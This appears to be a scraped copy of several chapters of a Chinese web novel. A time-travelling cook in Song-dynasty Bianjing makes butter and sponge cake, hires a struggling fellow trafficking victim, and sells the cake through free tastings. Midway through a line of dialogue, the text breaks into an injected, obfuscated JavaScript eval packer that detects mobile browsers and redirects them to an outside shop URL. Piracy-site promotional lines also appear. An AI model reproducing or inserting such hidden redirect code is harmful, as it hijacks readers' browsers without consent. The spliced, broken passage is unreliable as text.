在跟店小二一阵讨价还价后熟练拿起两杯甘草冰雪凉水就走,还不忘对着满脸不舍的店小二说吉祥话:“白玉碟高堆元宝、紫金壶满储琼浆②,明儿掌柜的必捡金元宝,发大财!” 叶盏:…… 玉姐儿:…… 买好了各种原材料,宓凤娘去寻叶璃师傅,玉姐儿和叶盏去塌房做牛乳。 先将牛乳静置井水之上,利用乳脂肪密度小的原理,由着它自己沉淀,过一会时间牛乳就自动分为了轻重两层。 最上面的一层便是稀奶油,先取用一半加入叶盏做好的“水力打发机”可以打发成奶油。 剩下的另一半稀奶油则放入锅内小火慢煮, 土灶里火舌吞吐,叶盏看玉姐儿一会功夫额头就沁出了淡淡汗珠,便劝她:“姐姐先去休息,等我这里做好了你再过来。” 玉姐儿摇摇头:“无妨,我待着帮手便是。”好吃的菜肴眼看将要面试,她就算回去休息也是抓心挠肺得煎熬,不如就在这里看着。 煮着煮着,稀奶油里面的水分蒸发,看到表面的油慢慢变得越来越像水 的时候端下来降静置降温。 这时候玉姐儿越发察觉出叶盏购买塌房的好处了,这里 木地板下面就是河流太方便降温了屋里的温度天然比旁的地方要凉快许多。 等降好温度稀奶油也分了层次上面的澄清油便是黄油。 叶盏寻了干净的纱布将黄油整齐包进了纱布再裹得方方正正放在食盒里再置于阴凉处便于保存。 等以后有钱了这古代版冰箱“冰鉴”也得安排上方便储存各种食物。 玉姐儿眼巴巴看着妹妹将黄油收起来:“这就没了吗?”还咂吧了下嘴。 “当然不是要做蛋糕。” 蛋糕?玉姐儿立刻来了兴致。她听说过糖糕、蜜糕、糍糕、甑糕、乳糕却独独没有听过蛋糕。听这名字就知道滋味差不了。 “有蛋吗?鸡蛋做的糕?鸡蛋糕?”激动得她上跳下窜像瓦子里的猴。 糖糕放了糖粉糍糕是糍粑做的乳糕放了牛乳这蛋糕肯定是放了鸡蛋。 “放了鸡蛋。”叶盏笑眯眯打了个鸡蛋用熟练的手法开始蛋白蛋清分离。 “咦?你把鸡蛋黄捞出来了?居然要捞出来?”玉姐儿瞪圆了眼睛看着叶盏只用蛋壳左一下右一下就把圆圆的鸡蛋黄从一堆鸡蛋清里捞了出来。 “这对厨娘来说算是基本功?”叶盏笑眯眯解释当初练童子功时有这一招不用蛋黄分离器分离蛋黄没想到今天先用上了。 她要做一款万能的海绵蛋糕有了这个 分离好的蛋清分批加糖粉放入自制的“水力搅拌器”里搅动很快就被搅动成牢固的直角随后加入蛋黄、面粉。 最后加牛乳和植物油乳化后倒入铁盆。 叶盏没有找到其他的模具一开始想用木盆但又担心放入烤箱中木头会烧焦而且为了防止烧焦要在使用前将木盆浸泡进水中但做烘焙时有不少菜谱需要油水分离因此果断放弃了木盆选用了铁器。想着以后经济条件好些要换成更好的材质才好。 最后放入提前“预热”的烤箱合上了炉盖。 玉姐儿眼巴巴看着从未见过的做菜手法:“这就算完事了吗?” 刚才预热烤箱就很让她吃惊:妹妹先加了炭火在炉灶里烧看着烧得差不多了才拿出了炭火再将浸泡了水的铁盆放了进去。 “还要打发奶油。” 刚才取出来的一半稀奶油再次倒入“搅拌机”搅拌,还要不断加入糖粉,于是玉姐儿眼睁睁看着稀稀的牛乳变得越来越稠密,就好像是固体一般。 “这是什么道理啊?”她欣喜得小小欢呼一声,“刚才那个鸡蛋能打得起尖角立起来,现在牛乳又能立起来?” 好神奇。 叶盏笑眯眯用简单浅显的话语给她解释其中的道理。 “这个还可以做乳糖。” 玉姐儿重重点头:“我知道乳糖,西川乳糖!” 原来这个时代已经有牛奶糖了?叶盏大为受挫,决定哪天去市场上好好考察一下现在的乳糖是不是后世的奶糖。 等海绵蛋糕烤好拿出来,玉姐儿简直眼睛都不够看了:“面糊变成了……” 变成了什么呢?橙黄色的外皮下面无数蜂窝状的软组织,散发着蜜与奶的香气:“真香啊!” 不愧是鸡蛋做的糕点,比她以前见 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里头的牛乳和糖霜、鸡蛋各个都不便宜,奶油更是贵重之贵,那么多牛乳,就提炼出了一点点奶油,也就够一个奶油蛋糕。 再说鸡蛋清和奶油的打发手法,这全靠了叶盏的鬼点子才能让水流做工,否则要是找个工人,只怕这会得让四五个工人抱着手臂嚷 嚷着手酸。 这么贵的东西,要留着卖钱,她哪里舍得吃。 别看玉姐儿嘴馋,还是知道心疼银钱的。 叶盏早就预料到了,她笑眯眯拿出了切割蛋糕剩下的毛坯边角料蛋糕,将木桶和滚轴上的边角处的奶油刮下来,又倒了一大勺子果酱。 给自己盛了一碗,又给玉姐儿盛了一碗:“吃这个,滋味一样的。” “真的?”玉姐儿喜出望外,飞快接过小碗。 “当然。这里面有蛋糕、有奶油、有果酱,而且我们这么混匀的杂拌比那么端端正正一层层吃差不多。说不定还要更香。”叶盏冲她眨眨眼。 姐妹俩一人一个碗,塌房里连凳子都没有,索性出去坐在塌房外面屋檐下,腿吹下去是潺潺流水,吹着晚风美滋滋吃蛋糕。 蛋糕绵软,非常绵软,海绵样的糕体本身就充满了气泡,可以想到在烘烤过程中有无数气泡在里面被加热、逃逸,这让遗留下来的蛋糕体特别蓬松。 用唇珠轻轻一抿,蛋糕就已经碎裂进嘴里了,仔细感受还能感觉到海绵蛋糕似乎有点弹性,也不知道叶盏怎么处理的,糕体湿润,吃一大口一点都不噎,松松软软,带着鸡蛋的香气,还有糖粉的香气,让人似乎置身在金秋阳光下,浑身都光亮亮、暖洋洋。 吃一口这个蛋糕,似乎一下心头阴霾尽失,似乎打马从汴京的秋日潇洒而过,有少年郎爽朗的大笑,有骑马女儿飒爽英姿,还有秋风生渭水的潇洒,落叶满长安的豪爽。 真是好一个秋日。 里面加着的百果酱玉姐儿不算陌生,叶盏没事了就会在家里厨房熬果酱,在做各种果酱和甜饮子时候都会放入,可这次加入了蛋糕夹心,让玉姐儿发掘出了惊喜:这果酱丰富了整道蛋糕的味道层次。 蛋糕本身是绵软甜甜的,但百果酱是酸酸甜甜的,一下就冲淡了蛋糕的甜,当你担心自己吃多了太多甜齁人时,舌尖立刻触碰到一股酸甜,继续刺激你的味蕾,让你嘴巴里分泌更多口水,方便你进军下一块蛋糕。 当然最让玉姐儿惊讶的还是奶油。 这是什么好东西啊! 玉姐儿很遗憾自己活了十五年才见识到这种好东西。 滑滑的,好像没吃过这种东西,口感一开始很猎奇。 但细细抿一口,那玩意儿立刻在嘴里化了。 “嗯?化了?”玉姐儿不信。她咂吧着嘴里的味道,细细回味,但是脑海里空白,只记得很甜,很香,很软,很滑。 明明是很好吃的滋味,怎么没想到慢慢细细品尝? 玉姐儿很遗憾,想起一个汴京城里一句骂人的俗话:山猪吃不来细糠。 难道我真的……是山猪? 玉姐儿不信。 又挖了一勺子尝尝, 这下她刻意控制着吃饭速度——尝到了! 浓郁奶香味,立刻充斥满了口腔,绵绵软软,蓬蓬松松。 “说不定天上的云吃起来就是这个滋味。” 要不是亲眼看着妹妹在自家小塌房灶上做出了这神奇的玩意儿,玉姐儿肯定会以为妹妹有魔法,是采撷了一块天上的云朵:“我从前听小妹说,古代有本讲神仙妖怪的书,理由记载一个杂耍班子,小孩攀登云梯上了天庭,偷了蟠桃给下面围观的群众看,我还不信,现在看来说不定是真的。” “嗯?”叶盏懵懂,不知道姐姐怎么会忽然面色凝重,冒出这么一大段感悟,“是不好吃吗?” 玉姐儿罕见没搭妹妹的话,满脸世外高人“来不及与凡人解释”的表情,又挖了一勺奶油。 这回她更加进阶一回,挖了一下果酱、一下蛋糕、一下奶油,用勺子挖了三种不同食物,将它们厚厚堆积成一层,才张大嘴“啊”一下满意得送进嘴里。 丝滑的奶油层层萦绕舌尖,下一刻就是松软的蛋糕体,绵绵的,夹杂着奶油的醇厚奶香味,一下就让人的舌尖刺激到了极致。 这时候百果酱顺理成章出现,带着清新的果子味出现,一下就让整个蛋糕的口感变得轻盈,不至于太腻味太甜。 玉姐儿恋恋不舍将小碗放下,拍拍钱袋子,招呼岸边上叫卖的小儿:“要两碗鹿梨浆荔枝膏水。” 吃这么好的蛋糕当然要配糖水,吹着夏日晚风,脚下是汴河清澈流水,耳边是市井叫卖声,嘴巴里吃着绵软的蛋糕。 人生,还有什么遗憾啊? 作者有话要说 ①王灼《糖霜谱》 ②《金梅》 明晚九点见! 第 49 章 郑家胡饼 第49章郑家胡饼 一小碗蛋糕废料和白坯就让玉姐儿吃得赞不绝口。 叶盏非但没有任何骄傲,反而认真问她各种建议会不会太甜会不会太腻打算根据当地人的口感适度调整蛋糕的配比。 玉姐儿连连摇头:“好吃,不用再调整了。” 叶盏放下心来,她对自己做蛋糕的能力很有信心,只不过担心大宋的原住民吃不惯这种口味。别小看这口味差异,好比赞美西式点心的词是“好甜”,可中式赞美点心的词是“不会太甜。”,不同文化背景下人们对于甜的耐受度不同。 既然蛋糕不需要再调整,叶盏便决定按照这个配方做蛋糕,做好的这个蛋糕则打算让金哥儿送到杜府。 玉姐儿小声问她:“妹妹你是不是怕去杜家?” “?为什么这么问。”叶盏抬头看她。 玉姐儿摇摇头:“那天说起杜家四少爷你虽然面上神色不变,可却捏紧了我的手。”叶盏当时仪表控制很好,仍旧微微礼貌含笑,因此外人都没有看出来神色变化。原本她也没瞧出来可当时两姐妹正好手拉手因此被玉姐儿察觉出来。 叶盏这才想起当时正好拉着玉姐儿的手,她想了想:“当初在杜家被四少爷罚沾过。所以听见他的名字很是厌倦。” “罚你?”玉姐儿吓了一跳,又气恼“这人怎么能这样?” “不过听杜家人说,这杜家少爷什么待大小丫鬟都很好是个少有的怜香惜玉的人,原来是衣冠禽兽!” 叶盏就与她说起杜家的情形:“他的确有怜香惜玉的名头,四少爷房里的丫鬟打坏了器皿丢了字画,四少爷都会想办法帮她们遮掩。听说有的脾气大的丫鬟还会跟四少爷顶嘴呢。” “那怎么……?”玉姐儿不懂。 “到底是主家也许能一时纵着小丫鬟玩乐就像养了个猫啊狗的被挠一下也不会计较。”叶盏回想着“可到底他们心里尊卑有别 四少爷再怎么纵容丫鬟也没听说过他纵容婆子媳妇子可见是个看重美色的庸碌之辈。 “再说了他只是罚我站着反省又没有打我又没有骂我还没有克扣我银俸也没有少 我一口饭吃,说出去旁人也不会觉得他过分。叶盏回忆着当时的情形。 虽然本朝有严格的奴婢保护法律条文,但只要没打死,手心罚几板子不算什么。 就算当时事发,外人眼里,她也只是自己受不了暑热自己晕过去的,跟四少爷没有直接关系。 就算她死了,四少爷连间接杀人、过失杀人的罪名都不会有,因为他毕竟没有接触叶盏,没有打骂她,让失职的仆从罚站又不算很重的责罚,他是一介少爷,怎么能想到酷暑天大太阳下不能站太久呢?外人提起叶盏只会喟叹“只能算她命不好。 甚至四少爷本人,说不定都会觉得这责罚很轻呢。他没有生活常识,只看见大太阳就想着会晒坏自己养的名贵金鱼,要给金鱼缸上遮荫,却没想到奴仆在这样大太阳下会中暑而死。 就算想到了会中暑,也以为只不过是吃几天药就好了,哪里会想到有人会因为中暑直接死亡呢? 说不定四少爷还会觉得自己只是罚站已经很体恤叶盏了呢。 叶盏摇摇头,这就是这个时代。 玉姐儿眼泪都要掉下来了:“爹娘天天在家念叨说你做奴婢受苦了,我还想不出来有多苦,原来这么苦。 她平日里在家受苦最多就是挨饿,或者是因为穷被邻居亲戚奚落,但因为上有爹娘,还有两个哥哥,所以最多就是受点肌肤之苦,压根没有吃过这种苦。 听妹妹轻描淡写的样子,似乎这罚站已经是很轻的罪责了,不敢想象还有多严重的责罚。 玉姐儿越想越心疼,连蛋糕都不吃了,拉着叶盏就要去寻爹娘:“我们去跟爹娘说说,不跟杜家往来了。 又心疼叶盏:"既然有这档子事,你早说与我们知道,娘肯定不会带你去杜家了。" 叶盏摇摇头:“杜家又不是四少爷一个人的,三小姐和老夫人待我都不错,我那些小姐妹们又实心实意,我去看看她们也是应该的。 而且接近杜家也方便她盯着四少爷,天长日久,总能找到机会。 玉姐儿眼眶发红,眼泪一个劲往外蹦。 叶盏只好哄她:“这是小事,杜家待丫鬟很忠厚,我没吃什么苦。可任由她怎么哄玉姐儿都不松口。 果不其然回家她就将这事告诉了爹娘。 宓凤娘吓得脸都白了,抓着叶盏上下检查:“可有什么难受的地方?现在还疼吗? 叶大富则去夜壶里摸攒下的银钱,要带女儿去找郎中:“还是找郎中看看,免得落下病根。 叶盏再三拒绝都无用,到底还是被拖着去见了郎中,郎中听说是许久的事情了,差点要瞪眼把叶大富赶出去。 最好还是医者父母心,好好给叶盏查看了一遍,给她开了些清新解热的药材,又给她开了膏药:“万一炒菜切菜伤了手腕,可以一用。 叶盏满脑子都在思考夜壶里的钱给郎中会不会算是郎中受了工伤,抢着从自己荷包里掏钱把银钱付了。 等出了药铺,叶大富听说了女儿的疑问,大笑,继而又小心查看左右命她附耳过来才小声说:“夜壶是真的,但买回来就当钱匣子用。没有沾染过任何黄白之物。 叶盏大大松了一口气。 等她归家后叶家人就再也不允许她去杜府了,宓凤娘更是放出豪言壮语:“杜家十几笔说媒生意也不做了。脸上不见任何心疼。 叶盏哭笑不得:“我真没事。她的确想要报复四少爷,但对杜家并没有到严重ptsd的程度,也不至于让家人影响生意。 最后那个蛋糕还是叫金哥儿送到了杜家。金哥儿拿了赏钱就回了家,决定以后再也不让妹妹去杜家。 蛋糕做成功了,叶盏便打算再做一批蛋糕出来,只不过这样店里的人手就严重不足了。 原先的生意已经够她和玉姐儿连轴转了,还要宓凤娘时不时帮忙、家人偶尔来搭把手,再加个水力工坊就人手就捉襟见肘。 时下店铺对这种事的解决方式有以下几种:雇佣个帮工、赁个几年期的奴仆、黑心点去黑市买个有身契的卖身奴隶、或是招收一个学徒。 也多亏了叶璃,叶盏深刻了解到了古代的学徒制。 学徒制很严格,学徒吃、住都在师傅家,有些苛刻的师傅还要收伙食费,不拿任何工资,有的还要付好大一笔钱做学徒费。这个叶盏能理解,学徒来师傅这里就相当于后世的职业技术学校,你当然得自带吃住,还要交学徒费。 但比较郁闷的是,学徒在师傅家里不单单是学习,还要充当免费劳动力:打杂、做饭、扫地、洗衣服,有些连师 傅家的夜壶都要倒,等以后要给师傅养老。 这也能算说得过去,毕竟手艺是人家师傅安身立命的东西,俗话说教会了徒弟饿死了师傅,你不付出点劳动力,让师傅看到你的忠心耿耿,人家凭什么教会你吃饭家伙事? 可是有的师傅不教徒弟手艺! 这些倒霉徒弟大概有以下几种情形: 白白让人家孩子来自己家里干活,至于核心技艺就瞒着不让他学,等好多年后一脚踢掉,使用完人家不给人家一个交待; 或者是拿一个胡萝卜吊着对方,收七八个徒弟,嘴上说“我总有一天会教你们”,就吊着徒弟给自己干活,最后教点些微技艺; 还有一种算厚道师傅,涉及核心工艺也不瞒着徒弟,就让他看,看多看少,领悟多少,全靠徒弟自己智商和悟性,还美其名曰“师傅领进门,修行在个人”。 叶璃师傅就算其中很厚道的,叶璃虽然自己付吃住费用,也要服侍师傅喝水、扫地做这些杂活,但师傅也不瞒着行业机密,像画符、草药这些都不会瞒着叶璃,甚至有时候拿了事主的谢礼还会给叶璃分一些。 就这宓凤娘还心疼不已呢:到底是去别人家看别人脸色生活,再怎么好哪里比得上在家中逍遥自在?师傅再宽厚她外出工作和客人喝茶时徒弟也只能站在一旁服侍。 在了解古代这种学徒制之后叶盏忽然觉得后世能够有机会学技艺当真是极大的幸运。 她作为现代人无法接受卖身制,也不想赁个几年期的奴仆,总觉得怪怪的,可是招学徒的话……以她现在的知名度恐怕招不到人,别人学手艺也是去找名师,再不济是大酒楼的厨子,不会来她连脚店都算不上的小食肆拜师。 只有请帮工这个办法可想。 鹅小说全网首发无弹窗免费阅读qiexs.com⒈(请来企 鹅小说 看最新章节 完整章节) 毕竟水力工坊涉及食品安全和商业机密,叶盏不会让外来的帮工进入,目前由帮工负责的部分是洗洗涮涮,没有什么技术含量,找人的话范围比较广。 叶盏寻了中人帮忙,要求寻个女帮工,年龄要十五到五十之间,手脚干净没有前科,爱干净,最好不是被前一个雇主赶出来的或发生了严重纠纷的。 对方听完叶盏的需求后立刻一拍大腿:“这不是巧了?正巧有位妇人被婆家赶了出来,如今生机没有着落,年龄也与您相仿,以替人浣衣维生,眼 看要住到大通铺里去了急着让我找生计就听得您遭事。” 既然对方着急就请她现在过来面谈等一见面叶盏愣了“蓬蕊!” 两人都是贩卖案的受害者先是在衙门寻找当年事主时匆匆见了一面再就是上次在大相国寺蓬蕊帮自己做菜。 叶盏依稀记得听衙差念各人家属姓名时听到过蓬蕊家里还有家属当时她也是被卖到别人家做丫鬟再怎么落魄怎么至于此? 再说上次见她时她梳着妇人发髻难道现在又和离了? 蓬蕊面色枯黄头发干燥衣服很破烂都是粗布衣裳身上没有任何首饰双手指关节粗大还有擦伤看着泛红神色更是透着一股绝望哪里还有当初那浅浅淡笑的样子? 叶盏差点都不敢相认。 倒是蓬蕊先笑道:“是叶……”她想叫叶盏却想到她如今是决定自己去留的雇主话头变一转“叶家娘子。” 叶盏赶紧纠正她:“你唤我叶盏便是。”两人同龄又有些缘分因此叶盏不打算在她跟前摆什么架子。 蓬蕊便苦笑:“我回去后先是嫁了人又被休了如今无处可去四处做些杂活。” 短短几句就说尽了许多苦楚。 “不过我跟着婆母做过饭会烧火洗菜。”她努力鼓起勇气推销自己"我会很勤快的不定不会偷懒。" 叶盏听完后点点头:“既然这样那以后你就跟着我吧。” 先前在大相国寺蓬蕊给她帮厨时人很麻利话也不多但看得出来是眼里有活的人 蓬蕊没想到自己会这么快中选愣在原地。 还是中人笑:“恭喜您两位。”蓬蕊这才回过神来一个劲说:“您放心我会好好干的。” 叶盏便带她去店里跟她介绍要做的活计。 “我家食肆里原先有我和姐姐两人如今我和姐姐不定时要去另一处分店里帮忙所以食肆里的人就有了空缺。” "日常要做的活计是洗菜、摘菜端菜再就是擦洗工作。一个月能拿七百文这是一开始第一个月的收入以后生意好还能往上加你愿意吗?" “愿意!愿意!”蓬蕊激动不已原本死 水样的眼睛泛出了光彩,七百文够她洗七百件衣裳了,足够她吃饱喝足,还能赁个安稳住的地方,而且还能攒下来。 叶盏便在中人见证下,与蓬蕊签署了雇人契书,两方算是正式开始了雇佣关系。 蓬蕊果然很踏实,做事很卖力,原本叶盏和玉姐儿两人要洗一盏茶的碗筷,她半盏茶就洗好了,还各个干净,明光锃亮。 唯一美中不足之处就是她不爱说话,人问什么才回答,回答也不过寥寥两句话,看着很沉默。 有了她的帮忙,叶盏很快就在店里做好了几个奶油蛋糕。 她做蛋糕时蓬蕊端着木盆就去了户外,叶盏赶紧叫住她:“你不要离着那么远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272449|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就在屋里,看来看去说不定学会了呢。” “我当……我当……”蓬蕊拿着木盆愣在原地,做蛋糕看着就是很要紧的厨艺,她还当以为自己识趣避开正合叶盏心意呢,毕竟她又不是学徒,又不是签死契的奴仆,万一自己学会了怎么办? “没事,没事,我的技艺就是要让人人都学会的。”叶盏笑眯眯,“等我以后名气再大些识的字再多些,我还要开班授课著书立作讲述怎么做美事呢。” 她从来没有半点想要垄断这些知识的意思,她掌握的美食烹饪技艺来自全人类几千年的积累和无私分享,那么她也会在有能力时把这份知识传播出去。 “你别不信。”玉姐儿还当蓬蕊不信呢,“就说那胡饼人人都会做,可是做得好吃的也就武成王庙前海州张家和皇建院前郑家①那两家。”旁人就算知道了这道菜是怎么做的,做出来也不如她妹妹做出来的好吃! “我不是不信。”蓬蕊回过神来,赶紧解释,又端着木盆回到厨房。 叶盏便凝神做蛋糕。 有了奶油她一会功夫就做好了两三个,一会功夫就忙到了中午。 “今天忙得腰酸背痛,懒怠再做,不如我们买些东西来吃。”叶盏提议。 玉姐儿当然立刻赞同:“刚巧今日提到了胡饼,想想还怪馋的,不如就买皇建院前郑家的胡饼。” 她解下围裙,一溜烟就跑去外面买胡饼。 一会功夫就拎了三五个油纸包回来了:“这里是郑家胡饼,有菊花、髓饼、新样满麻①好几种花样,上面还印着花呢。” 又 很遗憾:“可惜没了宽焦、侧厚、油碢几种,听说也好吃呢,只不过人家每日只做五十炉,多了不做,只能下回再吃旁的口味了。” 叶盏心中一动:莫非这就是古代的饥饿营销? 她想了想:“不如我们的蛋糕也限量,每日里只卖六个,多了不售出。”别看六个蛋糕少,真做起来也要耗费半天。 “好。”玉姐儿满口答应,又招呼大家吃饼子,“我还顺手买了糖霜饼,里面加了松子胡桃粉末和酥蜜一起活匀的,闻着好香的。” 叶盏笑:“这糖霜饼在东边,郑家胡饼在西边,你是如何做到顺路的?” 玉姐儿嘿嘿一笑,赶紧递给蓬蕊一个饼遮掩窘迫:“快吃。” “还有我的吗?”蓬蕊抬起头。 “当然啊。”玉姐儿笑眯眯,“我家才不在吃食上苛待旁人呢。你放心,尽管吃。” 新出炉的胡饼很好吃,髓饼里头加了骨髓和面,吃上去时咸香口的,一口就掉了许多饼渣下来,酥得人一碰就碎。外面能看见一圈圈的面饼分层,显然做饭的人下了功夫,当初在擀饼环节还加了油酥和五香粉。 所以才能这么酥软。 而且加的五香粉和肉髓正好让饼子多了许多咸香,满口肉香,吃起来很够味。 糖霜饼也好吃,只不过这个更像是饭后点心,小小半个指尖大小,拈起来小小一点,可别看它小,稍微一用力就碎了,只能赶快塞进嘴里。 满口蜜的甜味,伴随着松子胡桃这种坚果杜特的香气,入口即化,嘴巴里到处都是这种清淡的香气。 吃了这几张饼,蓬蕊迟疑一下,将自己的境遇一五一十说了出来:“也不怕大姐和二姐笑话,我被爹妈认亲后,家里还有兄弟姐妹,地方狭窄,手足们也不习惯我乍然出现,连个住的地方都没有,我只能挤到家里的灶房角落。” 若这也就罢了,偏偏今日哥哥在饭桌上发火,说现在粮食价钱渐涨,买不起这么多人口粮;明明是弟弟暗戳戳发话,说谁家女儿嫁了个好人家,提携娘家全家呢。 蓬蕊是个面皮子薄的人,只能拿出银钱三五不时来添补家里伙食,今日买点柴火明日买点烧饼,才能让家里人脸上的寒霜少点。 做仆人的人家并不富贵,因此蓬蕊回家只带了一点银钱 日子没一月她的钱包就空了。 这钱包一空家里人就再也不装了原先还是冷嘲热讽现在变成了明晃晃的指责。 蓬蕊肩不能扛手不能挑便在家里洗衣做法做杂事想让家里人满意然而还是收效甚微。 哥哥弟弟视她为眼中钉因为汴京有嫁女厚嫁的风俗她陡然回来让家里人必须为她准备一笔嫁妆否则会让所有人看不起。因此愈加给她白眼甚至喝了酒还会殴打她。 蓬蕊想去从前的主家求救这才知道人家家里有了外任动身去外地了房子都只留了一个扫地的老仆。 没过两天媒婆上门了说是有位裁缝铺的二掌柜新近成了鳏夫想寻个伺候人脾性好的未嫁年轻女子。 蓬蕊见过那个二掌柜年龄大约跟她爹差不多一口黑牙胖得球一样她不喜欢这样的人。 但是家里根本没地方住哥哥弟弟到处挤兑她她又能去哪里? 无计可施蓬蕊便点点头。 刚嫁过去倒不错睡觉时有了自己的床能吃饱饭每隔十天会有二两肉吃得了两朵大红绒花还不用挨打 可好景不长婆母在家作妖蓬蕊没有身孕二掌柜在外面勾搭的小寡妇倒生下了个大孙子。 闹了一场蓬蕊被赶出了家门连绒花都被摘了去连铺盖都没有:"你家当初嫁你给我时一文钱都没出现在别想拿走半分。" 娘家是回不去了她旁的不会只能给旁人洗衣裳为生一件衣裳一文钱艰难换口饭食吃。 要不是叶家收容也不知道她到底会流落到哪里去。 叶盏听得入神也是她运气好能遇上叶家人否则说不定是另一个版本的蓬蕊。 想到这里她叹口气跟蓬蕊说:“你就安心在我店里帮工若是不忙看我做菜时也学习一二以后就算不在我这里干了你也能有个手艺傍身。” 蓬蕊重重点头:“多谢。” 玉姐儿满意看着妹妹帮蓬蕊又瞄了瞄木盆里的蛋糕:好香啊。 只不过顾客们会喜欢吗? 作者有话要说 ①《梦华录》 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 50 章 蛋糕 第50章蛋糕 一到中午叶二姐食肆便端出了许多木盘。 食客们迫不及待就围了过来,食肆里时常有新品出售,他们早就习惯了,因此纷纷上前想要选购。 可是……这次的是什么呢? 食客们一个个瞪大了眼睛,这种东西还真未见过。 木盘上放着一个个圆圆形状的糕饼,颜色有粉红、米黄、浅紫等多种多样。更妙的是那外观糊着一层厚厚一层,看着很圆润诱人,从未见过那样材质。 “是酪糕?”有那有点见识的食客问。 “不是,叫蛋糕,不过上面这层奶油还真与奶酪有点关联。”叶二姐笑眯眯回答。 那位食客沈娥立刻挺起了胸膛,她祖上出使过西洲回鹘和黄头回纥,自然熟悉西域来的食物:“这可是西域那边的食物?” “应当是中京那边的吧。”她旁边有人嘀咕,“既然有牛乳,那与北边草原离不开干系。” “都不是。”叶盏摇摇头,“滋味也完全不同于那种风格,算是点心吧……” 她微微思索,想要给食客描述蛋糕滋味,却忽然笑,一拍手心:“我这说多少都没用,大家尝尝便知。” 玉姐儿帮她拿来刀,叶盏顺顺当当切下了蛋糕一个小切角,给大家展示蛋糕内芯:“里头一层海绵蛋糕一层百果酱中间活着奶油。” 蛋糕切开了一角,小小的锐角拿开,食客们立刻就看到了里头露出的蛋糕切层,果然是一层层的,米黄的蛋糕体、深红橙色的果酱、还有雪白的奶油,还有外切面淡粉的奶油。 看着这色彩搭配就如一副赏心悦目的画面,沈娥点点头,如今大宋上下都推崇清淡配色,这蛋糕好不好吃不知道,但这配色显得很雅致清淡,却又不失丰富。 人群里有人咽咽口水,当即开口问:“叶二姐,这蛋糕怎么卖啊?” “一整个的价钱是两贯。” “两贯?”人群齐齐吸了口气。要是去樊楼这样的酒楼要一桌席面大约花费五贯,可这个小小的不知名点心,又是在叶二姐食肆这样的小店,怎么要花费这么多? “叶二姐,我看你可别宰客!”有个人忽然开口,“原先还好现在价格上天,难道是 看现在生意好了就要回头磨刀霍霍向猪羊? “我说,你做生意可要厚道啊,不能寒了咱们街坊的心。 那人是个大嗓门,声音冷淡,一下就在人群里掀起了不小的波澜,一时大家都没说话,听着他站在门口大声嚷嚷。 玉姐儿“腾一下就站起来了,她就怕人群里有这样闹事的。 蓬蕊赶紧拉住了冲动的玉姐儿,生怕她跟客人打起来吃亏,可是她自己也悬着心呢:这食客这么一嚷嚷,赶走了店里的客人怎么办? 若是那种大型脚店,当然有专门的茶饭量酒博士出马,两个人左右架住闹事人的胳膊,就能客客气气把他“请出去,不让他蛊惑人心。 可是她们几个小娘子,能拿这个人怎么办? 她们俩焦急看向叶盏。 叶盏在打量那男子,她微微蹙眉,这男子粗眉毛魁梧个子,满脸横肉,看着不像店里的熟客,既然如此话里话外带上街坊邻居什么意思? 她心里飞快琢磨,但面上还是微微笑着,似乎没听见男子的话,只含笑对着大家解释:“这牛乳蛋糕里面有牛乳、奶油、鸡蛋等多种食材,虽然涉及开店秘方不能外传,但我向大家保证这蛋糕里面的奶油要耗费好多银子才能做出来。 又将切好的一角拿给食客们展示:“若是觉得一整块有些顾虑,可以先买一小块尝尝滋味,这一块是蛋糕的二十之一,花费一百文。不过今天是我们第一次做这稀罕物件,所以给前一百二十位吃自助的食客都免费提供一块。 “而且之后一个月,每天都会拿出一个蛋糕,给前二十位吃自助的食客都免费品尝。 这话一说,食客们都激动起来。纷纷与同伴交头接耳,兴奋看着餐台上的蛋糕。 他们的自助费用是六十文一位,可是这免费赠送的一角蛋糕就要一百文,这么一来相当于免费不说,还倒占了食肆里的便宜呢。 因此纷纷举手:“我要。 围着玉姐儿要求交钱吃自助。 玉姐儿原本还担心着呢,没想到一会功夫就被人围住了,她咧开嘴:“好,好,都来,我来数钱,保证人人都有饭吃。 倒是蓬蕊还有些担心:掌柜的这么做不是明摆着的赔本吗?赔本赚吆喝? 却看见叶盏仍 旧笑吟吟在切蛋糕,她下手极稳,没有借助任何器具却能切得又好又快,脸上更是一直带着柔和恬淡的微笑,让蓬蕊的心思定了下来:老板见多识广,她既然如此成竹在胸,那想必不会赔本。 叶盏早有盘算:这蛋糕是个没吃过的东西,定价又昂贵,在初期唯有让这种方式让食客们都能接触到蛋糕。 吃得起店里自助的客人都至少算是汴京城里的中产阶层,他们看重生活享受,对于食物舍得投入,愿意花大价钱为真正的好吃之物付钱。 现在通过免费的方式给他们定下一个蛋糕好吃又昂贵的心锚,等之后哪天想花费两贯银子买食物的时候,当然第一反应就是叶二姐食肆的蛋糕。 寻常过日子不舍得花两贯银子,可拜会上司、老母亲做寿、孩子中举这样的日子呢?到时候自然而然就会来叶二姐食肆进行消费。 这是现代社会一些奢侈大品牌常年面向老百姓做广告的原因:一来老百姓不认识这牌子富人穿了如何获得优越感?二来今天的穷人万一明天暴富呢? 所以叶盏只要每天固定花一个蛋糕的价钱,一个月花六十贯,就能打出无形的广告,让汴京集市上都知道有个天价点心叫做“蛋糕。 剩下的就是安心等待消费者自己上门了。 大家围着玉姐儿付钱,争先恐后想要品尝免费的蛋糕。 沈娥当然要做那前头的食客,非但如此,她付了钱后还捂嘴笑:“怎得刚才那位嚷嚷的大嗓门员外不说话了? 街坊邻居们对有钱人都敬称一句“员外,类似后世客气的“老板 胖汉子果然哑口无言,只顾着左右打量,满脸窘迫。他一开始挑事煽动的话术是嫌叶二姐掉进了钱眼里,可人家如今免费送,还要他说什么? “不对啊,您刚才不是嫌贵吗?现在她免费送,您应当高兴不迭上前拿免费的,怎么又不去了?沈娥睨一眼,声音不大不小,正好让食客们都能听见。 食客们正乖乖排队等着轮到自己呢,都百无聊赖,因此都好奇看了过来。 